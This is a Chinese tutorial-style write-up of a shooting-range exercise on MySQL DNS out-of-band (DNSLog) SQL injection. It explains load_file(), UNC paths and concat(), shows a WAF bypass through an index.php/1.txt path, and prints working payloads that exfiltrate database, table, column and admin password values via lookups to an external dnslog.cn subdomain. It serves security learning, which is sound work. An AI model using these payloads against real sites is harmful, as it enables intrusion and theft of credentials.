热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

17、注入篇DNS注入(MySQL)

DNS注入DNS注入也称DNS带外注入、DNSLog注入DNS​DNS(DomainNameSystem)域名系统,将域名与IP地址
DNS注入

DNS注入也称DNS带外注入、DNSLog注入

DNS

​ DNS(Domain Name System)域名系统,将域名与IP地址相互映射的一个分布式数据库

DNS注入核心是 将盲注变为显错注入

DNS-log

​ DNS服务器的解析记录

注入基础


1、load_file() 读取文件的函数

​ 读取文件并返回文件内容为字符串

​ 要使用此函数文件必须位于主服务器上,必须指定完整路径的文件,而且必须有file权限

​ 该文件所有字节可读,但文件内容必须小于max_allower_packet(限制server接收的数据包大小函数,默认1MB)

​ 如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回NULL1

​ load_file() 是数据库函数

​ 该功能不是默认开启的,需要在MySQL配置文件加一句:secure_file_priv=

2、UNC路径

​ UNC(Universal Naming Convention)

​ 通用命名规则,也称通用命名规范、通用命名约定

​ UNC路径:

  • 格式:\\servername\sharename (servername–服务器名;sharename共享资源的名称)

  • 目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename

  • unc共享就是指网络硬盘的共享

  • UNC路径也可以这样写:

    //servername/sharename [ 建议这样写 ]

DNS-LOG平台:http://www.dnslog.cn/ 可以记录 是否有人访问了该域名,并且记录域名是什么

3、concat() 字符串连接函数


DNS注入缺陷


  1. 目标必须有网络
  2. Windows机器较为常见

注意:

  • index.php/1.txt?id=1
  • 当1.txt不存在时,就会检测上一级 文件是否存在
  • 如果上一级文件存在,就会把id=1传参给index.php

靶场

1、进入靶场,看到源码,可以使用id进行传值
在这里插入图片描述
在这里插入图片描述

2、使用?id=1 and 1=1 有WAF
在这里插入图片描述

3、使用/1.txt?id=1 进行绕过 并分别输入 and 1=1 和 and 1=2 进行探测
绕WAF:
1、绕规则
2、绕检测
3、白名单

and 1=1
在这里插入图片描述

and 1=2
在这里插入图片描述

4、使用DNS注入,用load_file()函数构造payload 爆出数据名名:

http://xxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,database(),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

5、构造payload 爆出当前数据库下的表名:

爆出第一个表名 admin

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,(select table_name from
information_schema.tables where table_schema=database() limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

注意:.h3uk2s.dnslog.cn/abc 中的abc存不存在 不重要
在这里插入图片描述

爆出第二条表名 news
在这里插入图片描述

爆出第三条表名时 无反应
在这里插入图片描述

故判断 只有两张表 admin news

6、构造payload爆出admin表下的字段名
爆出第一个字段名id

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select column_name from information_schema.columns where table_schema=database() and table_name=’admin’
limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

爆出第二个字段名 limit 1,1 username
在这里插入图片描述

爆出第三个字段名limit 2,1 password
在这里插入图片描述

爆出第四个字段名时 limit 3,1 无反应
故判断 admin表下总共3个字段 id、username、password

7、flag可能在password字段中,所以构造payload 爆出password字段中的信息
爆出第一条信息

http://xxxx/index3.php/1.txt?id=1 and (select load_file(concat(‘//‘,
(select password from admin limit 0,1),’.h3uk2s.dnslog.cn/abc’)))

在这里插入图片描述

使用limit 1,1 没有反应
在这里插入图片描述

故判断只有一条信息
8、得到flag,通关


推荐阅读
  • Centos下安装memcached+memcached教程
    本文介绍了在Centos下安装memcached和使用memcached的教程,详细解释了memcached的工作原理,包括缓存数据和对象、减少数据库读取次数、提高网站速度等。同时,还对memcached的快速和高效率进行了解释,与传统的文件型数据库相比,memcached作为一个内存型数据库,具有更高的读取速度。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了在Hibernate配置lazy=false时无法加载数据的问题,通过采用OpenSessionInView模式和修改数据库服务器版本解决了该问题。详细描述了问题的出现和解决过程,包括运行环境和数据库的配置信息。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • React基础篇一 - JSX语法扩展与使用
    本文介绍了React基础篇一中的JSX语法扩展与使用。JSX是一种JavaScript的语法扩展,用于描述React中的用户界面。文章详细介绍了在JSX中使用表达式的方法,并给出了一个示例代码。最后,提到了JSX在编译后会被转化为普通的JavaScript对象。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 解决github访问慢的问题的方法集锦
    本文总结了国内用户在访问github网站时可能遇到的加载慢的问题,并提供了解决方法,其中包括修改hosts文件来加速访问。 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 本文介绍了2015年九月八日的js学习总结及相关知识点,包括参考书《javaScript Dom编程的艺术》、js简史、Dom、DHTML、解释型程序设计和编译型程序设计等内容。同时还提到了最佳实践是将标签放到HTML文档的最后,并且对语句和注释的使用进行了说明。 ... [详细]
  • 第8章 使用外部和内部链接
    8.1使用web地址LearnAboutafricanelephants. ... [详细]
author-avatar
完颜777_870
这个家伙很懒,什么也没留下!
RankList | 热门文章